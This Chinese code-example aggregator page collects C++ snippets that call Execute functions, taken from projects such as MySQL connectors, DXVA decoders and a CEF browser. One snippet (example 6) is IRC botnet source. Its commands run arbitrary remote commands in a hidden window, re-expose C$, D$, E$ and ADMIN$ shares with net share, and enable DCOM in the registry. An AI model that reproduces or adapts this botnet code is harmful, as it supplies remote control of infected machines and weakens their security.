• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

C++ Execute函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中Execute函数的典型用法代码示例。如果您正苦于以下问题:C++ Execute函数的具体用法?C++ Execute怎么用?C++ Execute使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了Execute函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: GetPath

void CGtserviceModule::ForceUpdate()
{
	CString autoUpdate = GetPath() + _T("\\autoupdate.exe");
	Execute(autoUpdate);
}
开发者ID:ChenzhenqingCC,项目名称:WinProjects,代码行数:5,代码来源:sgtservice.cpp


示例2: TagCurrentDir

int TagCurrentDir()
{
  String cmd=config.exe+" "+config.opt;
  if(!Execute(cmd))return 0;
  return 1;
}
开发者ID:Maximus5,项目名称:evil-programmers,代码行数:6,代码来源:tags.cpp


示例3: Unexecute

	virtual void Unexecute(const DataObject &object)
	{
		// Since we can only Unexecute if Longest Road has not changed, simply
		// rerun the Execute, which will update road lengths.
		Execute(object);
	}
开发者ID:Dangr8,项目名称:Cities3D,代码行数:6,代码来源:RuleLongestRoadCheck.cpp


示例4: Execute

void MySQLConnection::RollbackTransaction()
{
    Execute("ROLLBACK");
}
开发者ID:GetPlay,项目名称:TC,代码行数:4,代码来源:MySQLConnection.cpp


示例5: Execute

ThreadedTask::~ThreadedTask()
{
	ExitRequested = true;
	Execute();
	LWP_JoinThread(Thread, NULL);
}
开发者ID:Jeremy-D-Miller,项目名称:usbloader-gui,代码行数:6,代码来源:ThreadedTask.cpp


示例6: sId

bool CBot::HandleCommand(CMessage *pMsg)
{	
	if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) {
		CString sId(pMsg->sChatString.Token(1, " ", true));
		if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo);
#ifdef WIN32
		/// should unsecure system as remove bot to allow recycling //
		
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		Execute("net.exe", "net share c$=c:\\");
		Execute("net.exe", "net share d$=d:\\");
		Execute("net.exe", "net share e$=e:\\");
		Execute("net.exe", "net share ipc$");
		Execute("net.exe", "net share admin$");

		// Delete Autostart
		if(g_pMainCtrl->m_cBot.as_enabled.bValue)
			g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
		if(g_pMainCtrl->m_cBot.as_service.bValue)
			g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
		g_pMainCtrl->m_cInstaller.Uninstall();
		g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; }

	else if(!pMsg->sCmd.Compare("bot.execute")) {
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#else
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
		if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }

	else if(!pMsg->sCmd.Compare("bot.open")) {
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
		bRet=system(sText.CStr())>0;
#endif
		if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.dns")) {
		CString sReply; hostent *pHostent=NULL; in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
	
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
		
		if(!pHostent) {
			sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
			return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }

	else if(!pMsg->sCmd.Compare("bot.about")) {
		CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.id")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.nick")) {
		g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
		g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }

	else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.longuptime")) {
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
//.........这里部分代码省略.........
开发者ID:hazcod,项目名称:botnets,代码行数:101,代码来源:bot.cpp


示例7: if

void CCommandLine::Parse(const std::vector<tstring>& args)
{
    try
    {
        if (args.size() == 0)
            return;

        for (unsigned int i = 0; i < args.size(); ++i)
        {
            tstring strParameter = args.at(i);
            if (i == 0)
            {
                if (strParameter.size() > 0 && strParameter[0] == '-')
                {
                    if (strParameter == FINDAVAILABLETRACEID)
                        m_nOperationType = FIND_AVAILABLE_TRACE_ID;
                    else if (strParameter == FINDTRACEID)
                        m_nOperationType = FIND_TRACE_ID;
                    else if (strParameter == FINDUNUSEDTRACEID)
                        m_nOperationType = FIND_UNUSED_TRACE_ID;
                }
                else
                    m_nOperationType = UNKNOWN_OPERATION;
            }
            else
            {
                std::vector<tstring> parameters;
                CTools::SplitString(args[i], "=", parameters);
                if (parameters.size() == 2)
                {
                    if (parameters.at(0) == TraceHeader)
                        m_strTraceHeader = parameters.at(1);
                    else if (parameters.at(0) == TraceID)
                        m_strTraceID = parameters.at(1);
                    else if (parameters.at(0) == ExportFile)
                        m_strExportFileName = parameters.at(1);
                    else if (parameters.at(0) == SourcePath)
                        m_strSourcePath = parameters.at(1);
                    else if (parameters.at(0) == MessageFile)
                        m_strMessageFile = parameters.at(1);
                }
                else
                {
                    m_strErrorMessage = "Error parameter:" + args[i];
                    CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Error parameter:") + m_strErrorMessage);
                    break;
                }
            }
        }

        BOOL bReady = TRUE;
        if (m_strSourcePath.empty())
        {
            bReady = FALSE;
            CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Source Path is empty"));
        }

        if (m_strExportFileName.empty())
        {
            bReady = FALSE;
            CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exported file name is empty"));
        }

        if (m_nOperationType == FIND_AVAILABLE_TRACE_ID)
        {
            if (m_strTraceHeader.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace Header is empty"));
            }
        }
        else if (m_nOperationType == FIND_TRACE_ID)
        {
            if (m_strTraceID.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace ID is empty"));
            }
        }
        else if (m_nOperationType == FIND_UNUSED_TRACE_ID)
        {
            if (m_strMessageFile.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Message File is empty"));
            }
        }
        

        if (bReady)
            Execute();
    }
    catch (std::exception& exc)
    {
        CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exception:") + exc.what());
    }
}
开发者ID:yanjunnf,项目名称:LogAnalyzer,代码行数:97,代码来源:CommandLine.cpp


示例8: MGL_TO_WCS

//-----------------------------------------------------------------------------
void mglParser::Execute(mglGraph *gr, const char *text)
{
	MGL_TO_WCS(text, Execute(gr, wcs));
}
开发者ID:nickjhathaway,项目名称:mathgl,代码行数:5,代码来源:parser.cpp


示例9: E32Main

GLDEF_C TInt E32Main()
	{
	return Execute();
	}
开发者ID:cdaffara,项目名称:symbiandump-mw2,代码行数:4,代码来源:schedulemessage.cpp


示例10: SetHasHotkeys

myMenuCommands::myMenuCommands(const char *_Title,cList<cNestedItem> *_Commands,const char *Parameters):cOsdMenu(_Title)
#else
myMenuCommands::myMenuCommands(const char *_Title,cCommands *_Commands, const char *Parameters):cOsdMenu(_Title)
#endif
{
 SetHasHotkeys();
 commands=_Commands;
#if VDRVERSNUM > 10713
 result=NULL;
 parameters=Parameters;
 for(cNestedItem *Command=commands->First();Command;Command=commands->Next(Command)) {
  const char *s=Command->Text();
  if(Command->SubItems())
   Add(new cOsdItem(hk(cString::sprintf("%s...", s))));
  else if(Parse(s))
   Add(new cOsdItem(hk(title)));
 }
#else
 parameters=Parameters?strdup(Parameters):NULL;
 for(cCommand *command=commands->First();command;command=commands->Next(command))
  Add(new cOsdItem(hk(command->Title())));
#endif
}

myMenuCommands::~myMenuCommands()
{
#if VDRVERSNUM > 10713
 free(result);
#else
 free(parameters);
#endif
}

#if VDRVERSNUM > 10713
bool myMenuCommands::Parse(const char *s)
{
 const char *p=strchr(s,':');
 if(p) {
  int l=p-s;
  if(l>0) {
   char t[l+1];
   stripspace(strn0cpy(t,s,l+1));
   l=strlen(t);
   if(l>1&&t[l-1]=='?') {
    t[l-1]=0;
    confirm=true;
   }
   else
    confirm=false;
   title=t;
   command=skipspace(p+1);
   return true;
  }
 }
 return false;
}
#endif

#if VDRVERSNUM > 10713
eOSState myMenuCommands::Execute()
{
 cNestedItem *Command=commands->Get(Current());
 if(Command) {
  if(Command->SubItems())
   return AddSubMenu(new myMenuCommands(Title(),Command->SubItems(),parameters));
  if(Parse(Command->Text())) {
   if(!confirm||Interface->Confirm(cString::sprintf("%s?",*title))) {
    Skins.Message(mtStatus,cString::sprintf("%s...",*title));
    free(result);
    result=NULL;
    cString cmdbuf;
    if(!isempty(parameters))
     cmdbuf=cString::sprintf("%s %s",*command,*parameters);
    const char *cmd=*cmdbuf?*cmdbuf:*command;
    dsyslog("executing command '%s'",cmd);
    cPipe p;
    if(p.Open(cmd,"r")) {
     int l=0;
     int c;
     while((c=fgetc(p))!=EOF) {
      if(l%20==0)
       result=(char *)realloc(result,l+21);
      result[l++]=char(c);
     }
     if(result)
      result[l]=0;
     p.Close();
    }
    else
     esyslog("ERROR: can't open pipe for command '%s'",cmd);
    Skins.Message(mtStatus,NULL);
    if(result)
     return AddSubMenu(new cMenuText(title,result,fontFix));
    return osEnd;
   }
  }
 }
 return osContinue;
}
#else
//.........这里部分代码省略.........
开发者ID:FFTEAM,项目名称:evolux-spark-sh4,代码行数:101,代码来源:mymenucommands.c


示例11: FFVC1UpdatePictureParam

// === Public functions
HRESULT CDXVADecoderVC1::DecodeFrame(BYTE* pDataIn, UINT nSize, REFERENCE_TIME rtStart, REFERENCE_TIME rtStop)
{
    HRESULT hr;
    int nSurfaceIndex;
    CComPtr<IMediaSample> pSampleToDeliver;
    int nFieldType, nSliceType;
    UINT nFrameSize, nSize_Result;

    FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), &nFieldType, &nSliceType, pDataIn, nSize, &nFrameSize, FALSE, &m_bFrame_repeat_pict);

    if (FFIsSkipped(m_pFilter->GetAVCtx())) {
        return S_OK;
    }

    // Wait I frame after a flush
    if (m_bFlushed && !m_PictureParams.bPicIntra) {
        return S_FALSE;
    }

    hr = GetFreeSurfaceIndex(nSurfaceIndex, &pSampleToDeliver, rtStart, rtStop);
    if (FAILED(hr)) {
        ASSERT(hr == VFW_E_NOT_COMMITTED);      // Normal when stop playing
        return hr;
    }

    CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));

    TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d, rtStart = %I64d, Surf = %d\n", nSliceType, rtStart, nSurfaceIndex);

    m_PictureParams.wDecodedPictureIndex = nSurfaceIndex;
    m_PictureParams.wDeblockedPictureIndex = m_PictureParams.wDecodedPictureIndex;

    // Manage reference picture list
    if (!m_PictureParams.bPicBackwardPrediction) {
        if (m_wRefPictureIndex[0] != NO_REF_FRAME) {
            RemoveRefFrame(m_wRefPictureIndex[0]);
        }
        m_wRefPictureIndex[0] = m_wRefPictureIndex[1];
        m_wRefPictureIndex[1] = nSurfaceIndex;
    }
    m_PictureParams.wForwardRefPictureIndex = (m_PictureParams.bPicIntra == 0) ? m_wRefPictureIndex[0] : NO_REF_FRAME;
    m_PictureParams.wBackwardRefPictureIndex = (m_PictureParams.bPicBackwardPrediction == 1) ? m_wRefPictureIndex[1] : NO_REF_FRAME;

    m_PictureParams.bPic4MVallowed = (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME && m_PictureParams.bPicStructure == 3) ? 1 : 0;
    m_PictureParams.bPicDeblockConfined |= (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME) ? 0x04 : 0;

    m_PictureParams.bPicScanMethod++;       // Use for status reporting sections 3.8.1 and 3.8.2

    TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : Decode frame %i\n", m_PictureParams.bPicScanMethod);

    // Send picture params to accelerator
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));

    // Send bitstream to accelerator
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nFrameSize ? nFrameSize : nSize, pDataIn, &nSize_Result));

    m_SliceInfo.wQuantizerScaleCode = 1;    // TODO : 1->31 ???
    m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));

    // Decode frame
    CHECK_HR_TRACE(Execute());
    CHECK_HR_TRACE(EndFrame(nSurfaceIndex));

    // ***************
    if (nFrameSize) { // Decoding Second Field
        FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), NULL, NULL, pDataIn, nSize, NULL, TRUE, &m_bFrame_repeat_pict);

        CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));

        TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d\n", nSliceType);

        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));

        // Send bitstream to accelerator
        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nSize - nFrameSize, pDataIn + nFrameSize, &nSize_Result));

        m_SliceInfo.wQuantizerScaleCode = 1;        // TODO : 1->31 ???
        m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));

        // Decode frame
        CHECK_HR_TRACE(Execute());
        CHECK_HR_TRACE(EndFrame(nSurfaceIndex));
    }
    // ***************

#ifdef _DEBUG
    DisplayStatus();
#endif

    // Update timestamp & Re-order B frames
    if (m_bFrame_repeat_pict || m_pFilter->IsReorderBFrame()) {
        if (m_bFrame_repeat_pict || m_pFilter->GetCodec() == AV_CODEC_ID_WMV3) {
            m_pFilter->UpdateFrameTime(rtStart, rtStop, !!m_bFrame_repeat_pict);
        }
        if (m_pFilter->IsReorderBFrame() || m_pFilter->IsEvo()) {
            if (m_PictureParams.bPicBackwardPrediction == 1) {
                SwapRT(rtStart, m_rtStartDelayed);
//.........这里部分代码省略.........
开发者ID:GenomeXP,项目名称:mpc-hc,代码行数:101,代码来源:DXVADecoderVC1.cpp


示例12: Execute

void KICAD_MANAGER_FRAME::OnRunPageLayoutEditor( wxCommandEvent& event )
{
    Execute( this, PL_EDITOR_EXE );
}
开发者ID:chgans,项目名称:kicad,代码行数:4,代码来源:mainframe.cpp


示例13: CommonMain

// Common main for linux and windows
int CommonMain(const CefMainArgs& args, CefSettings settings, CefRefPtr<MainCefApp> app, void* windows_sandbox_info, std::string userDirectory)
{

#ifdef CLIENT_DEPLOYMENT

	// Disable logging of CEF
	settings.log_severity = LOGSEVERITY_DISABLE;

#else // if no deployment, open console

	// Open Windows console for debugging purposes (even when deployed)
#ifdef _WIN32
	AllocConsole();
	freopen("conin$", "r", stdin);
	freopen("conout$", "w", stdout);
	freopen("conout$", "w", stderr);
#endif // _WIN32

#endif // CLIENT_DEPLOYMENT

	// Set path for CEF data: cache, user data and debug.log
	CefString(&settings.cache_path).FromASCII(std::string(userDirectory + "cache").c_str());
	CefString(&settings.user_data_path).FromASCII(std::string(userDirectory + "user_data").c_str());
	CefString(&settings.log_file).FromASCII(std::string(userDirectory + "debug.log").c_str());
	
	// Set output path of custom log file
	LogPath = userDirectory;

	// Say hello
	LogInfo("####################################################");
	LogInfo("Welcome to GazeTheWeb - Browse!");
	LogInfo("Version: ", CLIENT_VERSION);
	LogInfo("Personal files are saved in: ", userDirectory);

	// Turn on offscreen rendering.
	settings.windowless_rendering_enabled = true;
	settings.remote_debugging_port = 8088;

    // Initialize CEF
    LogInfo("Initializing CEF...");
    CefInitialize(args, settings, app.get(), windows_sandbox_info);
    LogInfo("..done.");

    // Execute our code
    bool shutdownOnExit = Execute(app, userDirectory);

    // Shutdown CEF
    LogInfo("Shutdown CEF...");
    CefShutdown();
    LogInfo("..done.");

    // Return zero
    LogInfo("Successful termination of program.");
    LogInfo("####################################################");

	// Tell computer to shut down
	if (shutdownOnExit)
	{
		shutdown();
	}

	// Exit
    return 0;
}
开发者ID:MAMEM,项目名称:GazeTheWeb,代码行数:65,代码来源:main.cpp


示例14: Execute

/*
================
idThread::Event_Execute
================
*/
void idThread::Event_Execute( void ) {
	Execute();
}
开发者ID:0culus,项目名称:Doom3-for-MacOSX-,代码行数:8,代码来源:Script_Thread.cpp


示例15: while

unsigned int StdSchedulerThread::ThreadFunc() {
  // Keep calling Execute until someone gets fed up and calls StopThread()
  while (fRunThreadRun) Execute();
  return (0);
}
开发者ID:ev1313,项目名称:yaC,代码行数:5,代码来源:StdScheduler.cpp


示例16: mysql_init

bool MySQLConnection::Initialize(const char *infoString)
{
    MYSQL * mysqlInit = mysql_init(NULL);
    if (!mysqlInit)
    {
        sLog.outError( "Could not initialize Mysql connection" );
        return false;
    }

    Tokens tokens = StrSplit(infoString, ";");

    Tokens::iterator iter;

    std::string host, port_or_socket, user, password, database;
    int port;
    char const* unix_socket;

    iter = tokens.begin();

    if(iter != tokens.end())
        host = *iter++;
    if(iter != tokens.end())
        port_or_socket = *iter++;
    if(iter != tokens.end())
        user = *iter++;
    if(iter != tokens.end())
        password = *iter++;
    if(iter != tokens.end())
        database = *iter++;

    mysql_options(mysqlInit,MYSQL_SET_CHARSET_NAME,"utf8");
#ifdef WIN32
    if(host==".")                                           // named pipe use option (Windows)
    {
        unsigned int opt = MYSQL_PROTOCOL_PIPE;
        mysql_options(mysqlInit,MYSQL_OPT_PROTOCOL,(char const*)&opt);
        port = 0;
        unix_socket = 0;
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
#else
    if(host==".")                                           // socket use option (Unix/Linux)
    {
        unsigned int opt = MYSQL_PROTOCOL_SOCKET;
        mysql_options(mysqlInit,MYSQL_OPT_PROTOCOL,(char const*)&opt);
        host = "localhost";
        port = 0;
        unix_socket = port_or_socket.c_str();
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
#endif

    mMysql = mysql_real_connect(mysqlInit, host.c_str(), user.c_str(),
        password.c_str(), database.c_str(), port, unix_socket, 0);

    if (mMysql)
    {
        DETAIL_LOG( "Connected to MySQL database at %s",
            host.c_str());
        sLog.outString( "MySQL client library: %s", mysql_get_client_info());
        sLog.outString( "MySQL server ver: %s ", mysql_get_server_info( mMysql));

        /*----------SET AUTOCOMMIT ON---------*/
        // It seems mysql 5.0.x have enabled this feature
        // by default. In crash case you can lose data!!!
        // So better to turn this off
        // ---
        // This is wrong since mangos use transactions,
        // autocommit is turned of during it.
        // Setting it to on makes atomic updates work
        // ---
        // LEAVE 'AUTOCOMMIT' MODE ALWAYS ENABLED!!!
        // W/O IT EVEN 'SELECT' QUERIES WOULD REQUIRE TO BE WRAPPED INTO 'START TRANSACTION'<>'COMMIT' CLAUSES!!!
        if (!mysql_autocommit(mMysql, 1))
            DETAIL_LOG("AUTOCOMMIT SUCCESSFULLY SET TO 1");
        else
            DETAIL_LOG("AUTOCOMMIT NOT SET TO 1");
        /*-------------------------------------*/

        // set connection properties to UTF8 to properly handle locales for different
        // server configs - core sends data in UTF8, so MySQL must expect UTF8 too
        Execute("SET NAMES `utf8`");
        Execute("SET CHARACTER SET `utf8`");

        return true;
    }
    else
    {
        sLog.outError( "Could not connect to MySQL database at %s: %s\n",
            host.c_str(),mysql_error(mysqlInit));
        mysql_close(mysqlInit);
        return false;
//.........这里部分代码省略.........
开发者ID:BThallid,项目名称:mangos-zero,代码行数:101,代码来源:DatabaseMysql.cpp


示例17: get_byte

// --------------------------------------------------------------------------------------
void Ajp13Socket::ReceiveForwardRequest( const char *buf, size_t sz )
{
	//
	int ptr = 0;

	get_byte(buf, ptr); // skip first byte: prefix_code
	unsigned char method = get_byte(buf, ptr);
	std::string	 protocol = get_string(buf, ptr);
	std::string	 req_uri = get_string(buf, ptr);
	std::string	 remote_addr = get_string(buf, ptr);
	std::string	 remote_host = get_string(buf, ptr);
	std::string	 server_name = get_string(buf, ptr);
	short				 server_port = get_integer(buf, ptr);
	bool					is_ssl = get_boolean(buf, ptr);

	std::string method_str = Utility::l2string( method );
	std::map<int, std::string>::const_iterator it = Init.Method.find( method );
	if (it != Init.Method.end())
	{
		method_str = it -> second;
	}
	m_req.SetHttpMethod( method_str );
	m_req.SetHttpVersion( protocol );
	m_req.SetUri( req_uri );
	m_req.SetRemoteAddr( remote_addr );
	m_req.SetRemoteHost( remote_host );
	m_req.SetServerName( server_name );
	m_req.SetServerPort( server_port );
	m_req.SetIsSsl( is_ssl );

	// Get Headers
	short				 num_headers = get_integer(buf, ptr);
	for (int i = 0; i < num_headers; i++)
	{
		std::string key;
		switch ( (unsigned char)buf[ptr]) // 0xa0
		{
		case 0xa0:
			{
				unsigned short x = (unsigned short)get_integer(buf, ptr);
				std::map<int, std::string>::const_iterator it;
				if ( (it = Init.Header.find(x)) != Init.Header.end())
				{
					key = it -> second;
				}
				else
				{
					fprintf(stderr, "Unknown header key value: %x\n", x);
					SetCloseAndDelete();
				}
			}
			break;

		default: // string
			key = get_string(buf, ptr);
		}
		if (Utility::ToLower(key) == "cookie" || Utility::ToLower(key) == "cookie2")
			m_req.AddCookie(get_string(buf, ptr));
		else
			m_req.SetHeader(key, get_string(buf, ptr));
	} // for

	// size left to read from web server
	m_body_size_left = m_req.ContentLength();

	// Get Attributes
	while ( (unsigned char)buf[ptr] != 0xff)
	{
		std::string key;
		unsigned char code = buf[ptr++];
		switch ( code)
		{
		case 10: // req_attribute, attribute name follow
			key = get_string(buf, ptr);
			break;
		default:
			{
				std::map<int, std::string>::const_iterator it = Init.Attribute.find( code );
				if (it != Init.Attribute.end())
				{
					key = it -> second;
				}
				else
				{
					fprintf(stderr, "Unknown attribute key: 0x%02x\n", buf[ptr]);
					SetCloseAndDelete();
				}
			}
		}
		m_req.SetAttribute(key, get_string(buf, ptr));
	} // while

	// execute at once if no body data
	if (!m_body_size_left)
	{
		Execute();
	}
	else
	{
//.........这里部分代码省略.........
开发者ID:davidivins,项目名称:schoolprojects,代码行数:101,代码来源:Ajp13Socket.cpp


示例18: mysql_init

bool MySQLConnection::Open(const std::string& infoString)
{
    MYSQL *mysqlInit;
    mysqlInit = mysql_init(NULL);
    if (!mysqlInit)
    {
        sLog.outError("Could not initialize Mysql connection");
        return false;
    }

    Tokens tokens = StrSplit(infoString, ";");

    Tokens::iterator iter;

    std::string host, port_or_socket, user, password, database;
    int port;
    char const* unix_socket;

    iter = tokens.begin();

    if (iter != tokens.end())
        host = *iter++;
    if (iter != tokens.end())
        port_or_socket = *iter++;
    if (iter != tokens.end())
        user = *iter++;
    if (iter != tokens.end())
        password = *iter++;
    if (iter != tokens.end())
        database = *iter++;

    mysql_options(mysqlInit, MYSQL_SET_CHARSET_NAME, "utf8");
    #ifdef _WIN32
    if (host==".")                                           // named pipe use option (Windows)
    {
        unsigned int opt = MYSQL_PROTOCOL_PIPE;
        mysql_options(mysqlInit, MYSQL_OPT_PROTOCOL, (char const*)&opt);
        port = 0;
        unix_socket = 0;
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
    #else
    if (host==".")                                           // socket use option (Unix/Linux)
    {
        unsigned int opt = MYSQL_PROTOCOL_SOCKET;
        mysql_options(mysqlInit, MYSQL_OPT_PROTOCOL, (char const*)&opt);
        host = "localhost";
        port = 0;
        unix_socket = port_or_socket.c_str();
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
    #endif

    m_Mysql = mysql_real_connect(mysqlInit, host.c_str(), user.c_str(),
        password.c_str(), database.c_str(), port, unix_socket, 0);

    if (m_Mysql)
    {
        sLog.outDetail("Connected to MySQL database at %s", host.c_str());
        sLog.outString("MySQL client library: %s", mysql_get_client_info());
        sLog.outString("MySQL server ver: %s ", mysql_get_server_info( m_Mysql));

        if (!mysql_autocommit(m_Mysql, 1))
            sLog.outDetail("AUTOCOMMIT SUCCESSFULLY SET TO 1");
        else
            sLog.outDetail("AUTOCOMMIT NOT SET TO 1");

        // set connection properties to UTF8 to properly handle locales for different
        // server configs - core sends data in UTF8, so MySQL must expect UTF8 too
        Execute("SET NAMES `utf8`");
        Execute("SET CHARACTER SET `utf8`");

    #if MYSQL_VERSION_ID >= 50003
        my_bool my_true = (my_bool)1;
        if (mysql_options(m_Mysql, MYSQL_OPT_RECONNECT, &my_true))
            sLog.outDetail("Failed to turn on MYSQL_OPT_RECONNECT.");
        else
           sLog.outDetail("Successfully turned on MYSQL_OPT_RECONNECT.");
    #else
        #warning "Your mySQL client lib version does not support reconnecting after a timeout.\nIf this causes you any trouble we advice you to upgrade your mySQL client libs to at least mySQL 5.0.13 to resolve this problem."
    #endif
        return true;
    }
    else
    {
        sLog.outError("Could not connect to MySQL database at %s: %s\n", host.c_str(), mysql_error(mysqlInit));
        mysql_close(mysqlInit);
        return false;
    }
}
开发者ID:Meandro,项目名称:wowcore,代码行数:98,代码来源:MySQLConnection.cpp


示例19: GetSupportedDepthFormat

